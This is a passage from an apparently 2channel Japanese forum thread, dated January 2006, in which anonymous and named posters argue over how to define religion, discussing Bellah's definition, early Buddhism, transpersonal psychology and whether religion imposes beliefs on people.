253 名前：名無しさん＠３周年 ：2006/01/14(土) 00:58:06 ID:nk7FhOj/: http://www.google.co.jp/search?hl=ja&q=%E9%AD%82%E3%81%AF%E8%80%81%E3%81%84%E3%81%AA%E3%81%84&lr=
254 名前：名無しさん＠３周年 ：2006/01/14(土) 00:59:07 ID:HEdfNLsa: >>250
最後の人が生きてることを、誰が証明するの。
255 名前：名無しさん＠３周年 ：2006/01/14(土) 00:59:43 ID:nk7FhOj/: 慥なことかぁ
みんなは見えないことでたしかなことはねうんとね、えっとね、内証
256 名前：名無しさん＠３周年 ：2006/01/14(土) 01:01:48 ID:TgM8iaKJ: >>251
死は確かにやって来るよ。
人生の中で、至高の存在を感じた事はないのか？
俺には、その感覚は確かに存在するものなんだがな。
257 名前：名無しさん＠３周年 ：2006/01/14(土) 01:04:26 ID:nk7FhOj/: 中略がしんだとき、以下省略
258 名前：名無しさん＠３周年 ：2006/01/14(土) 01:05:16 ID:QEFgyZdw: >>254
「一番最後に生きてる人」が「一番最後に死ぬ人」でもあることはわかるよね？
259 名前：名無しさん＠３周年 ：2006/01/14(土) 01:06:56 ID:nk7FhOj/: 僕は３桁×３桁までは余裕
260 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/14(土) 01:12:40 ID:z1OFjwsx: ID:HEdfNLsaはいつも同じことしか言わないのかな。
できれば何からその考え方を学んだか教えて欲しい。
261 名前：名無しさん＠３周年 ：2006/01/14(土) 01:14:15 ID:st5cwqVw: 真理とか至高/究極の存在とかを持ってこられても、その確実な根拠が全く微塵も無いので
「結局、自分が勝手にそう思ってるだけなんじゃねーの」ってのを否定する事が不可能なワケだな。
俺は真理なんぞ存在しないと思ってるし。つーかあるんなら教えろ。
至高の存在ってのも、いたら面白いなーとか結構好きな部類ではあるんだが
あくまで話として面白いなーという程度。そもそも何をもって至高で究極で絶対なのか・・・?
262 名前：電球：2006/01/14(土) 01:14:21 ID:665tdu9g: >>215
＞それを言うなら、すべての宗教は、自分の考えを押し付けているのではありませんか。
→ということは宗教が他者に考えを強制させる、とは考えていないのですね。
それはすみません、見当違いな反論でした。

＞宗教を肯定し、科学を非難するなど、先人の努力と労苦に対する冒涜の行為だとは思わないのですか。
→ちょっと待って下さい、私は宗教を肯定しているわけでもなければ、科学を否定しているわけでもないですよ？
そう書いたつもりだったんですが…。ただいいところもあれば、悪いところもあるよね、と言っただけです。
でも科学を非難するな、とはまた極端な気がします。

＞原爆を作ったのも、投下して瞬時に無数の人命を奪ったのも、キリスト教徒。
→まあ、それはそうですけど……だからキリスト教＝殺人宗教、ということですか？
おっしゃりたいことが良く分かりませんが…。

＞オウムもその他の宗教も、本来の人間の精神を狂わせるという点では、原理的に全く同じ。
→ですから、私はそれを否定していませんが…？どうも私の考えが全然伝わっていないようです…。
私の表現に直せば宗教は人の生き方を矯正する、というところです。
それで、その狂わされた(矯正された)精神では害にしかならない、とする根拠はなんでしょうか？
現実には狂わされて(矯正されて)救われたと感じる人もいますし、あなたの理論によれば、世界平和を訴える
宗教(例えば創価学会や白光真宏会)で狂わされた(矯正された)のなら、戦争に反対するようになりますよね？
“宗教に嵌れば、殆どの場合、人間が宗教の奴隷”なわけですから。

＞宗教に嵌れば、殆どの場合、人間が宗教の奴隷
そう考える根拠はなんでしょうか？またその例外とは？

一つの宗教を盲信するのは確かに危険性がありますね。でも実際には宗教は常に現代風にアレンジされています。
更に言うと、宗教は人の生き方を矯正しようとしますが、人は完全に矯正されるわけではありません。
なので創価の信者でイラク戦争を肯定する人もいれば、坊さんで結婚して、肉を食べる人もいるわけです。
もちろん、オウム信者が全てテロに走ったわけでもありません。ちなみに新霊性運動はご存知ですか？
263 名前：名無しさん＠３周年 ：2006/01/14(土) 01:17:03 ID:nk7FhOj/: ニューエイジの霊性は低いよ
オウムとか創価も信者は純粋だけど人間よりかなりランク低いよ
根拠は、えっとね、うんとね、しらなーい
264 名前：名無しさん＠３周年 ：2006/01/14(土) 01:18:30 ID:nk7FhOj/: でもhttp://www.google.co.jp/search?hl=ja&q=%E2%80%9D%E6%96%B0%E9%9C%8A%E6%80%A7%E9%81%8B%E5%8B%95%E2%80%9D&lr=
というのはわりといいのかも～会ってみないとまずわからないけど
ダミアンのエヴァ夫人の集まりみたいで神秘的だね！
265 名前：バカ梵 ：2006/01/14(土) 01:22:26 ID:5QPFyYOL: お、だいぶ進んでる。
>>212
俺も電球さんと同じく、宗教に属した事はない。否定も肯定もしない。
宗教というくくりにこだわる事なく、自分が知りたいと思った事を学んで楽しむのが好きだ。

多くの人が言われるように、宗教の害悪は自分たち以外の者を問答無用に
否定する所にあるならば、それは貴方の中にも見て取れる。
あなたが何らかの信念の元に、自分たちとは違う異端なものへの弾圧を
実践してるように見える。仮に違いがあるとすれば、どっちが先に殴ったか
くらいのものだ。
266 名前：電球：2006/01/14(土) 01:42:47 ID:665tdu9g: >>265
……さすが、なかなかに痛いとこ突いてきますね…。まあ、私もその点考えていたわけです。
( ´,_ゝ｀)さんあたりに突っ込まれるかと思っていたんですが、バカ梵さんの方だったか…。
そうですね、私も言ってみれば宗教否定論を「否定」しているわけです。
でもそう言っていると、そもそも議論自体が成立しなくなる。なので否定するのが悪いのでない、
と考えています。そうでなくて、実際に排除に動く（例えば武力での制圧）のが問題、
なんじゃないかな、と。
更に言えば、「否定」はよくよく問題を考慮した上でしかできません。従って私も「批判」して
いるだけ、のつもりです。
それ以外は結局個人の好き嫌いで批判するしかない…のではないでしょうか。
それに関してまた批判があって、それで議論が成り立ち、理論が磨かれていく。
それに私は「弾圧」はしていない、と思うんです。論理で「批判」している。
……こんな風に考えているんですが、どうでしょう？
267 名前：?バカ梵 ：2006/01/14(土) 02:00:30 ID:5QPFyYOL: >>電球さん
いやこれは単純に212さんに送った言葉です。
が、もしかしたらこの場をシラケさせる発言だったかも。。
268 名前：( ´,_ゝ｀) ：2006/01/14(土) 02:06:06 ID:0zO/FTSX: みなさん、すいません。
今帰りました。急いでレス読みます。
269 名前：電球：2006/01/14(土) 02:08:33 ID:665tdu9g: >>267
＞いやこれは単純に212さんに送った言葉です。
→あ、そうでしたかｗ。しかし、私にも思い当たる節はありますのでｗ
＞が、もしかしたらこの場をシラケさせる発言だったかも。。
→いえいえ、そんなことはないですよ。「否定」「批判」ということを的確に指摘していました。
　212さんも>>215で“事実を指摘しているだけ”と表現していますから、この点に関して
　おそらく私と同じ見解なのでしょう。

＞宗教というくくりにこだわる事なく、自分が知りたいと思った事を学んで楽しむのが好きだ。
→同志ですね（＾＾）
270 名前：電球：2006/01/14(土) 02:10:47 ID:665tdu9g: >>268
お帰りなさい～。お疲れでは？
271 名前：( ´,_ゝ｀) ：2006/01/14(土) 02:32:41 ID:0zO/FTSX: >>270
いえ、大丈夫ですよ(^^♪。
ありがとうございます。
途中から入ると、静観したくなる気持ちがよくわかりました(^_^;)

正直なところ、私はずっと、私達がみんなそれぞれ宗教的な押し付けをしているというのは、
わかっておりましたし、実際にその批判もどこかにありましたし、それに気づいていることもわかりました。
ただ、なにが違うのかを考えると、はたしてなんだろうかと？

それは単純に、相手が違うことを受け入れることだけではないかと思っております。
つまり、宗教は、自分以外の人間もすべて自分と同じものを信ずるのだすることだと。
でも、これは繰り返しになりますね。でも、そのように思っております。
当然、そんなバカなことはないと反論があると思いますし、
それについて、違う角度から述べることもできると思います。

でも、もう少し、宗教の定義についてもこだわって見たい気もしますね。
いいでしょうか？
272 名前：電球：2006/01/14(土) 02:40:23 ID:665tdu9g: >>271　読むの大変だったでしょうね…
＞宗教の定義についてもこだわって見たい気もしますね。

→もちろん、異論ありません。私は>>168で示したものが一番いいと思いますが、確かにわかりづらい。
ただ、色々な方がそれぞれ宗教を定義しましたが、それぞれ批判が出ていますよね。
つまり、どんな定義をしようとしても、例外が出てきてしまう。だから、ベラーはあんな曖昧な形でしか
定義できなかったわけです。
私がべラーを引用したのは、彼が私の説に都合のいい定義をしているからではないんですよ。
ロバート・ベラーが世界最高と称される宗教学者で、彼の定義が優れていて、一般的だからです。
273 名前：1 ：2006/01/14(土) 02:41:46 ID:M/xZEJ6E: >>271
どうぞ。
274 名前：名無しさん＠３周年 ：2006/01/14(土) 02:44:51 ID:nk7FhOj/: 霊的な現象が入り込む余地はないんだ　ふーん
ばかにおもわれるもんね　ばかだけど
275 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/14(土) 02:46:34 ID:z1OFjwsx: 宗教とは人知を超えた存在を導入して世界を解釈しようとする思想のこと。

これはどうだ。
276 名前：( ´,_ゝ｀) ：2006/01/14(土) 02:48:04 ID:0zO/FTSX: すいません。
ちょっと、時間下さい。
考えがまとまりせん。うーん・・・(^_^;)
277 名前：電球：2006/01/14(土) 02:49:09 ID:665tdu9g: >>275
いいと思います。（＾＾）
ただ、それだと原始仏教のようなリアリズムそのもののようなものが宗教でなくなってしまいます。
278 名前：名無しさん＠３周年 ：2006/01/14(土) 02:51:28 ID:nk7FhOj/: みんなが神と仏の力を必要としないのなら僕が独り占めしてあげよう
279 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/14(土) 02:53:39 ID:z1OFjwsx: >>277
原始仏教がどういうものだかよく知らないが、ある時代では"常識"だった思想が、
人知の発展した後世で"宗教"にカテゴライズされてもいいんじゃないかな。
280 名前：電球：2006/01/14(土) 02:58:23 ID:665tdu9g: >>279
いや、>>275の定義はかなり優れていると思いますよ。今迄出た中で一番いいと思います。
ただ“人知を超えた存在を導入して”のところで落ちてしまうものが出てくるんです・・。
現在でもニューエイジに分類される思想なんかは、けっこうそういうのがあります。
トランス・パーソナル心理学とか。
281 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/14(土) 03:02:01 ID:z1OFjwsx: トランス・パーソナル心理学ってのはこれかな。
http://wwwsoc.nii.ac.jp/jatp/

パッと見じゃあ普通の学術系のページに見えてしまう。
282 名前：( ´,_ゝ｀) ：2006/01/14(土) 03:02:02 ID:0zO/FTSX: >>277
原始仏教とは、小乗仏教のことですよね。
臨済のように座禅や公案によって仏性を感じ、悟りを開くこと。
まあ、こんな単純ではありませんけど、「見出すこと」であると思います。
わたしは、キリスト教もそれほど大きな違いはないと思います。
なぜなら、目に見えないのは一緒なので。
うーん、でもなんか、思考が混乱してますね。
やっぱり、ちょっと、つかれてるのかな・・・(^^ゞ
283 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/14(土) 03:05:17 ID:z1OFjwsx: 至高体験時にしばしば個人の記憶を超えた意識が呼び起こされる時がある。
こうした個人の意識を超えた意識の領域が存在するのではないかという仮説に基いて、
宗教上の修行などをシステム的に研究したもの。

又この至高体験は、ＬＳＤなどのドラッグによる状態と、
東洋的精神修行におけるヨーガや瞑想などの境地を同質の意識体験であることを確かめた。

------

これを見てなんとなくわかった。トランスパーソナル。
UFOの研究をするのと似た雰囲気だね。
284 名前：電球：2006/01/14(土) 03:06:12 ID:665tdu9g: >>281
「トランス・パーソナル心理学会」というのもあるくらいですからｗ
もう心理学の一分野として定着した感があります。その目的が新時代の人間を目指すこと、であるなど
宗教の片隅に入れたいものですね。最近私ちょっと興味あるんですよ。まだ全然知らないんだけどｗ
285 名前：( ´,_ゝ｀) ：2006/01/14(土) 03:11:33 ID:0zO/FTSX: すいません。落ちます。(^_^;)
根性ナシでした・・・トホホホ
286 名前：電球：2006/01/14(土) 03:14:41 ID:665tdu9g: >>282
あ、いえ、私が言う原始仏教はブッダが説いた当初のものです。
ブッダはこの世の苦しみは、欲がある為に起こる、物事は諸行無常なのにそれを理解せず、何かに執着する
ことで、欲が起こる、と考えました。
ブッダ自身はリアリストだったようです。形而上学的な議論には全然興味なかったらしい。
カルマ(業)の思想は仏教のもの、と思われがちですが、あれはバラモン教（後のヒンドゥー教）の思想で、
ブッダ自身はあるのかないのかわからん、と思っていたんですね。ただ、あるかどうかわからんもんを
論じても仕方ないので、弟子が信じていた場合には、あるという前提で説法して、ないと考えていた弟子
には無いという前提で説法していたそうです。私この人の考え方好きですねｗ。
まあ、仏陀の思想を現実に実行するのは無理っぽいですが。
287 名前：電球：2006/01/14(土) 03:16:03 ID:665tdu9g: >>285
いえいえ、お気になさらずｗ。疲れてるでしょｗ
288 名前：名無しさん＠３周年 ：2006/01/14(土) 03:16:26 ID:nk7FhOj/: 脳の次元では同質でも同質じゃないよ
289 名前：名無しさん＠３周年 ：2006/01/14(土) 03:19:51 ID:nk7FhOj/: http://www.hikinik.net/camera/AUBE.htm
浮いてるものの棲家がちがう
290 名前：名無しさん＠３周年 ：2006/01/14(土) 03:22:30 ID:xifIcGy6: >>262
＞私の表現に直せば宗教は人の生き方を矯正する、というところです

ずいぶんと傲慢な言葉ですね。宗教は、誰が、どんな根拠に基づいて、人間を
「矯正」するのですか。それがまさに宗教の押し付けです。
あなたは宗教を肯定しないと言いながら、宗教否定論を否定すると言われる。
これは二重否定で、結局は宗教を肯定するということです。あいまいな言葉
ではなく、自分の立場を鮮明にしてください。
あなたは「科学が悪い」とはっきり言ったではないですか。
それから、「世界的な宗教学者」などと、権威を振りかざすことは止めて
ください。その宗教学者が、すでにどこかの宗教の影響を受けた方なら、どう
しても護教的になり、客観的な批判は不可能になります。日本の宗教学者は、
既にキリスト教に感化された西洋の宗教学者の文献に依存するところが大きく、
それでは客観的な研究は不可能です。
宗教の定義は、定義者の数ほどあると言われています。あなた自身の定義は
何ですか。他人の定義はスルーですか。
２ｃｈは、他人の意見の借り物ではなく、現実に立脚して自分の頭で考えた見
解を述べる点で意味があるのです。
それから、あなたが不在の間になされた多くの議論についてはコメントしない
のですか。
あなたは、史上そして現在も絶え間なく続く宗教紛争の原因については、どれ
ほど追究されたのですか。
291 名前：名無しさん＠３周年 ：2006/01/14(土) 03:26:40 ID:nk7FhOj/: 悪人とかだめな人は矯正されればいいよ収容所のように。
でも普通の人はかんながらに自然に無為に生きていればいいんだ。
というのが神道。日本の八百万の神はわきあいあい。
それが多くの日本人には合うんだ。
292 名前：電球：2006/01/14(土) 04:06:19 ID:665tdu9g: >>290
私は>>214で核は科学が作り出したものだから、科学は害悪、と言いましたね。あれは、こうしたら科学も否定できる、
という極端な喩えで言ったんですが…。>>214で“この論理、どこがおかしいか分かりますよね。科学が人の生活を豊かにし、
命を救ってきた事実を無視しています。”と自分で自分の論理のおかしさを指摘しているでしょ？
これに関しては私の言い方が悪かったと思います。すみません、誤解を招くことを言って。

で、私の立場ですが、私は科学も宗教も否定しません。それらは人が必要に応じて必要なだけ利用するものだと思っております。
それは繰り返し言っていることなんですが…。例えば>>214“私は批判されるところは批判されて、評価されるところは評価
されるべきだ、という普通のことを言っているに過ぎません。”

それから、「宗教否定論を否定」というのは>>266のことだと思いますが…私は>>266の中で“「否定」はよくよく問題を考慮
した上でしかできません。従って私も「批判」しているだけ、のつもりです。”と言ってますよね。文章の展開の関係で、
最初に「否定」と書きましたが、その後「批判」と言っているんですよ…。

全体的に思うんですが、できれば私のテキストをよく読んだ上で批判してほしいです。
293 名前：電球：2006/01/14(土) 04:07:07 ID:665tdu9g: >>292
それからベラーは世界的な、ではなく、世界最高の、です。私この人尊敬しておりますのでｗ
ベラーはキリスト教徒ですね、アメリカ人ですし。教派はどこだったかな…。失念しました。思想はリベラルな人ですよ。
私の宗教の定義ですが、ベラーのもので異論ありません。ただ、それでは考えにくいので、
宗教とは宗教っぽいもののことである、と言ってはどうか、と提案いたします。
いい加減なようで、案外いいと思いません？ｗ

さて、宗教紛争には私も心を痛めております。その点はあなたの意見と同じですね。それは宗教が原因だということにも異論ありません。
ただそれだけ見て宗教はない方がいいと言うのは極端だ、と申し上げているのです。

矯正する、というのはあなたがおっしゃったことを言い換えただけなんですが…。強制的に矯正するのは私もよくないと思います（ダジャレではありませんよ？＾＾）。
ただ、その教えを学びたい、と言う人に学ばせて、生き方を矯正する分には構わないと思うんですが…。
不在中の議論は関知していませんし、それに自分に向けられた質問に答えるべきと思ったもので……お気を悪くされたのなら、謝ります。

では、改めて、質問を繰り返します。
狂わされた(矯正された)精神では害にしかならない、とする根拠はなんでしょうか？
現実には狂わされて(矯正されて)救われたと感じる人もいますし、あなたの理論によれば、世界平和を訴える
宗教(例えば創価学会や白光真宏会)で狂わされた(矯正された)のなら、戦争に反対するようになりますよね？
“宗教に嵌れば、殆どの場合、人間が宗教の奴隷”なわけですから。
＞宗教に嵌れば、殆どの場合、人間が宗教の奴隷 →そう考える根拠はなんでしょうか？またその例外とは？
294 名前：電球：2006/01/14(土) 04:46:59 ID:665tdu9g: >>293
そうそう、確かにベラーはキリスト教徒ですが、>>168のどこに護教的なところが…？
むしろ漠然としすぎてて、キリスト教が数ある宗教のひとつに過ぎないことを認めているように思えますけども…。
295 名前：名無しさん＠３周年 ：2006/01/14(土) 08:06:59 ID:whHmwRSo: ベムベロは仲間なのに尊敬しないんですか？！ぷんぷん
296 名前：名無しさん＠３周年 ：2006/01/14(土) 08:21:30 ID:3dj6wl2B: 早く人間になりたぁ～い
297 名前：192 ：2006/01/14(土) 09:18:28 ID:CKywUiuX: >>電球
>宗教を利用する
それじゃ、悪徳教団じゃないか。

宗教を利用することなんかできないよ。
宗教は最終的には自我を明け渡すことだ。
そこには利用する自分もいやしない。
自分をチップにギャンブルするみたいなもんだよ。
298 名前：( ´,_ゝ｀) ：2006/01/14(土) 09:21:03 ID:0zO/FTSX: >>295-296
一発目で、笑わしてくれてありがとうヽ(^。^)ノ

電球さんや皆様方、先ほどは分けわかんなくて失礼しましたm(__)m

電球さんの宗教のスタンスはわかりやすいですね。
再度読み直すとよくわかりました。
要は、宗教というのは、人の生き方を照らす「明かり」のようなものだって言いたいのですよね。
それに頼らなくて生きていくことも可能だけど、道具として使うことも便利だし、
それに向かって進むことも当然、否定することもないと。
一方、誰かわかりませんけど、その「明かり」というのは観念の最高のものであり、
それを受け入れるところから始まるんだというわけですよね。
そして、バカ梵さんは、その「明かり」を自分だけではなく、他人も照らすものだというのですよね。
また、馬鹿コテさん(すいません省略(^^♪)は、その「明かり」で世界全体を照らすんだと。

なまじっか、私は先に結論から入ったもので、少しそれに固執しすぎたようです。
また、先ほども書きましたが、皆様も自分達の考えが煮詰まってきて、
それを押し付けになっていることがちょっと自己嫌悪になっていることも感じておりました。
ここは私は、考えをあらたに宗教肯定する視線も必要ですし、
なんだかわかんなくなった方がいいかもしれませんね(^^♪

それと、結局、自他の問題に還元されるってことですよね。
299 名前：192 ：2006/01/14(土) 09:22:51 ID:CKywUiuX: >>298
ん？定義の話はもういいのか？
まあ、定義は無意味だが。器に応じて定義もかわるだけだし。
300 名前：192 ：2006/01/14(土) 09:30:55 ID:CKywUiuX: >>298
宗教を道具として使うということは、「自分」が「宗教」を使うということだ。
自分が宗教をコントロールする、自分が宗教君より上にいるってことだ。
そのていどのものなら、いらん。道徳や、自己啓発本を読んで使えるところを取捨択一してればいい。
というか、それで十分。危険もあんまりないし。
301 名前：( ´,_ゝ｀) ：2006/01/14(土) 09:44:38 ID:0zO/FTSX: 192さん。
私は、その意見に賛成ですよ。
当然、私もその程度の宗教なんて、不必要とはいいませんけど、
侮っていませんから。
といっても、192さんの定義、私知りませんけどね。
批判はお伺いしましたけど(^^♪

>ん？定義の話はもういいのか？
まだまだ、やりましょうよ。
具体的な宗教って、それほどわかりませんしね。
ただ、瑣末な論議はしても無駄ですよね。いわば、比較し、同じ点を見つける方向のほうが、
このスレの方向としては、有意義だと思います。
302 名前：192 ：2006/01/14(土) 09:54:58 ID:CKywUiuX: どうしても一般的な定義をしたいなら辞書の定義で十分。
そして一般論としての宗教論を戦わせればいい。
まあ、そんなことするより宗教学の本でも読んでるほうがマシだと思うが。

宗教とは極めて個人的なものだ。
それを比較し、同じ点を見つけることの意義は何だ？
303 名前：192 ：2006/01/14(土) 09:57:21 ID:CKywUiuX: 自分の意見を述べるということは、批判されるためではないのか？
同じ点を探して、みんないいしょだわーいと仲良しごっこをするのが目的ならそれはそれでかまわんが、俺の趣味ではないな。
304 名前：( ´,_ゝ｀) ：2006/01/14(土) 09:59:36 ID:0zO/FTSX: >>302
>どうしても一般的な定義をしたいなら辞書の定義で十分。

いえいえ、あなたの定義を書いてくださいよ。
私達は、一般論で論議しているわけではないですから。
言い方を変えれば、辞書で読んで納得するんなら、議論なんてしないんですよ。
言うなれば、みんなそれぞれを神を持っていて、それが正しいって幻想抱いてるんです。
違いますか？
>>192さんも、それを言いたいのでしょう？
どうですか？
305 名前：192 ：2006/01/14(土) 10:04:53 ID:CKywUiuX: あほか。
一般論で議論しているのでないなら議論は不要だ。
定義の議論というのは一般化するためのものだろうに。

おまえは、おまえの神に対する幻想を個人で持っていればいい。
306 名前：( ´,_ゝ｀) ：2006/01/14(土) 10:14:43 ID:0zO/FTSX: >>305
>あほか。
>一般論で議論しているのでないなら議論は不要だ。

そうでしょうか？
では、逆にお聞きしますけど、あなたは一般的な人間ですか？
もちろん違いますよね。
あなたは、あなたですから。
でも、そう抱くあなたの神はどうでしょうか？
それこそ、自己否定になりますよね。
307 名前：192 ：2006/01/14(土) 10:15:51 ID:CKywUiuX: >>304
では、手始めに
＞言うなれば、みんなそれぞれを神を持っていて、それが正しいって幻想抱いてるんです。
で言うところの、お前の幻想の神を目の前にもってこい。
「みんな」というからにはお前もその中に当然はいっているんだろうからな。
308 名前：( ´,_ゝ｀) ：2006/01/14(土) 10:18:14 ID:0zO/FTSX: >>307
はい。
私は、宗教を定義しました。
それが、私の神です。違いますか？
309 名前：192 ：2006/01/14(土) 10:18:42 ID:CKywUiuX: >>306
だから、あほだといっている。
幻想の神を誰しも持っているという下らん幻想をすてろ。
どうしてもその議論をやりたいならキリストスレかイスラムスレにでもいけ。
宗教という人くくりで議論するのなら辞書の定義の議論にしかならん。
310 名前：192 ：2006/01/14(土) 10:19:25 ID:CKywUiuX: >>308
違うかどうかはお前にしかわからんよ。
311 名前：( ´,_ゝ｀) ：2006/01/14(土) 10:24:23 ID:0zO/FTSX: >>310
>違うかどうかはお前にしかわからんよ。

いえいえ、私の定義が正しいかどうかを言っているのではないのですよ。
あなたから見て、わたしの信じてる神というのは、
まさに、私の宗教の定義になるわけですよね。
違いますか？ということですよ。

それと、あなたの仰ることはものすごくよくわかることで、
まさに、このスレの本質的な部分だと思いますよ。
だから、重要ですよ。
>>309は真実です。でも、それも宗教ですよ。
それについてのあなたの意見が聞きたいです。
312 名前：宗教オカルト全否定 ：2006/01/14(土) 10:27:07 ID:ljLaos83: >>212
>>215
>>218
>>221
>>229
>>233
>>234
>>290
敬服　判り易くて具体的で　俺は貴方の意見に全面賛成　付け足すことも何も無い
対するレスのレベルの低いこと　大人と子供だね

擁護派　もっと頑張れ！
313 名前：192 ：2006/01/14(土) 10:32:41 ID:CKywUiuX: >>311
しょうがねーなー
俺にとってはそれは「渇望」だ。そこに神はいない。
314 名前：( ´,_ゝ｀) ：2006/01/14(土) 10:39:27 ID:0zO/FTSX: >俺にとってはそれは「渇望」だ。そこに神はいない。

つまり、定義することではなくて、定義しようとすること。
言い方を変えれば、神を定義するのではなくて、
それを追い求めること。
そういうことですか。「渇望」というのは？

>>312さんの賛同もありますし、わたしも同じ意見です。
コテつけて、議論しましょうよ。一貫してる意見だと思いますし。
315 名前：192 ：2006/01/14(土) 10:53:27 ID:CKywUiuX: >>314
>>192のとおりだ。
316 名前：( ´,_ゝ｀) ：2006/01/14(土) 10:57:41 ID:0zO/FTSX: >>315
つまり、こういうことですよね。
神を追い求めるのが宗教だと定義づけることも、定義づけて終わることになると。
だから、そんな定義づけ自体が無意味だと(^^♪
違いますか？
317 名前：宗教オカルト全否定 ：2006/01/14(土) 10:59:47 ID:ljLaos83: >>314
俺は貴方の意見には賛同してない　貴方の意見は観念的で判りにくい
出来れば　実例（例え話でも良いから）を挙げて具体的に書いて欲しい

192さんの態度や意見は興味を持ってるが　俺にはちょっと難しい
肯定派か否定派なのかも判らない

「否定も肯定もしない」と言う人は　話がややこしくなるから　俺にとっては
迷惑　個人の自由だからとやかく言う筋合いではないが　どちらかに決めるなり
他のトピに行くなりされたほうが有り難い

俺は真っ向否定派です

因みに　肯定派の意見に一つも判りやすい書き込みが無かったので
頑張れ！　とエールを送った
318 名前：192 ：2006/01/14(土) 11:02:33 ID:CKywUiuX: 仏教に神はおらんよ。
神道の神もキリスト教の神とは全然違う。
宗教というくくりで議論できる、と思っている時点でアウト。
宗派の違いもだが
宗教組織の問題と、宗教哲学、実践による体験、宗教史、それもすべてごった煮で語れると思っているところでなえる。

ま、語れんことは無い。
「とにかく宗教は悪」、「とにかく宗教は善」という念仏の繰り返しの議論に枝葉をつけたようなスレならオッケー。
>>312はその典型。
ちゅうか、この手のスレは全部そんな感じで、たまに個別の議論の時に若干内容があるのみ。
319 名前：( ´,_ゝ｀) ：2006/01/14(土) 11:06:18 ID:0zO/FTSX: >>317
そうでしょうか？
私は、何度も言ってるように、192さんは非常に本質的な指摘をしてるし、
重要なこともいってるし、わかりにくいこともないと思いますが。

単純ですよ。
192さんは頑なですから、貫き通しているだけです。
私も頑固ですけどね(^^♪

>俺は貴方の意見には賛同してない　貴方の意見は観念的で判りにくい
>出来れば　実例（例え話でも良いから）を挙げて具体的に書いて欲しい

私の結論はすでに書いてますよ。どこに書いてるか忘れましたけど・・・(^^ゞ
それよりも、私は、皆様の意見が聞きたいのです。
知らないことを知ることは楽しいですし、どんどん、いろいろな意見を言いましょう。
当然、あなたの意見も聞きたいです。
320 名前：192 ：2006/01/14(土) 11:08:53 ID:CKywUiuX: >>316
どのような議論も、定義づけの定義内で議論するというゲームのルールがある。
そして、どのような定義づけをしても、その定義自体を相対化することはできる。
お前らには無理だ。
321 名前：192 ：2006/01/14(土) 11:10:00 ID:CKywUiuX: お前らというか誰にもできん。
特にそれが宗教という極めて個人的なものについて論じる際にはな。
322 名前：( ´,_ゝ｀) ：2006/01/14(土) 11:10:11 ID:0zO/FTSX: >>318
>宗教というくくりで議論できる、と思っている時点でアウト。

とりあえず、その「宗教のくくり」を示してください。
語れんこともないといってるわけですし(^^♪
323 名前：1 ：2006/01/14(土) 11:11:19 ID:YWcQ7IUJ: >>318
あなたのような人が現れてくれて、ここを立てた甲斐がありましたよ。
俺もあなたと同意見です。
ただ、ここで議論しているうちに、「宗教」というシステムに問題があるのかな？
と、思うようになりました。

これからも、ここに見切りを付けないで、レス入れて下さいね。
324 名前：( ´,_ゝ｀) ：2006/01/14(土) 11:13:16 ID:0zO/FTSX: >>321
>お前らというか誰にもできん。
>特にそれが宗教という極めて個人的なものについて論じる際にはな。

その通りだと思いますよ。
繰り返しで申し訳ないですが、実際に存在している、あの宗教らしきものはなんでしょう。
問題は、そこなのではないでしょうか？
325 名前：192 ：2006/01/14(土) 11:18:24 ID:CKywUiuX: >>324
お前の目に映る「あの宗教らしきもの」、は
宗教組織、宗教団体だ。
あるいは、胡散臭い「宗教者」だ。
あるいは、マンガで悪役として出てくる「カルト宗教のイメージ」だ。
または、手塚オサムのブッダや映画に出てくるキリスト教徒だ。

すべてイメージ、概念だ。

少しでもその概念以外のものを知りたければ、仏典や聖書を読めばいい。
326 名前：( ´,_ゝ｀) ：2006/01/14(土) 11:20:39 ID:0zO/FTSX: >>325
>すべてイメージ、概念だ。

その通りです。
でも、そのイメージ概念を信じているのは私ではないですよ。
あなた自身ですよ。
違いますか？
327 名前：192 ：2006/01/14(土) 11:23:15 ID:CKywUiuX: >>326
違わんよ。
というか、その相対化してわざわざ相対化した自分を表明するのをやめんか、鬱陶しい。
328 名前：1 ：2006/01/14(土) 11:23:17 ID:YWcQ7IUJ: >>326
あなたは、イメージを中から見てる。
彼はイメージを外側から見てるんだよ。
329 名前：192 ：2006/01/14(土) 11:27:48 ID:CKywUiuX: すべては自分の主観だ。主観でしか語れない。
その当然のことをわざわざ指摘したがる自分の心の動機を見ろ。
人にできることはそれだけだろうに。
330 名前：( ´,_ゝ｀) ：2006/01/14(土) 11:28:35 ID:0zO/FTSX: >>327
うふふふっ。
すいませんね。わかってやってんだと思ってますので、つい。
でも、そういう議論にしかなりませんよね。
192さんの感じている通りだと思いますし。

だからこそ、現実的な宗教についての議論が必要だと思うのです。
これが、私の見解ですし、あなたが嫌う、定義づけの趣旨だと思うのですが。
331 名前：宗教オカルト全否定 ：2006/01/14(土) 11:28:48 ID:ljLaos83: 俺が宗教を否定する理由はただ一つ
　超自然的なものをベースにしているという点

宗教が人間の心に的を絞って　各々がそれを高めるためと言うのであれば
俺には必要ないが　必要な人の信仰心を否定はしない

科学にも解明出来ないものがあるでしょう　と言う問い掛けには　イエス

科学にも解明できないものの答えが宗教にはあるんです　と言う説明には
「馬鹿を言うな　何をふざけたことを！」といきなり戦闘モードに入る

数学には公理というものが有るが　全てがこの公理に矛盾しない
だから答えは常に一つ（証明出来てないこともあるが　念のため）

宗教は数学に言う公理的なものが　勝手に捏造されているため
数多の公理　数多の解党が出てくる
したがって　どれも間違い

上記をさして　全部が間違いだとどうして証明出来るんだ　と難癖をつけるのが
ここに居る肯定派
そう言う難癖じゃなく　私の宗派のこの教義は　これこれこう言う理由で
正当であると証明される　と言うようなレスを待ってる　それには反応したい
332 名前：1 ：2006/01/14(土) 11:36:04 ID:YWcQ7IUJ: >>331
なら、他に行きなさい。

>>330
確かに、ここの目的のひとつではあります。
が、192さんの言ってる事が理解できるにつれ、
そこに焦点を合わせても、答えは人の数だけ存在するのでは？っつー疑問が。。
333 名前：( ´,_ゝ｀) ：2006/01/14(土) 11:36:33 ID:0zO/FTSX: >>331
192さんの代弁者ではないですが、
それが、宗教を相対化しているといってるのだと思うのです。
そんな、生易しいものではないといってるんだと。

間違ってますかね。192さん？
334 名前：192 ：2006/01/14(土) 11:37:57 ID:CKywUiuX: >>328
お前もいい加減あきらめろ。
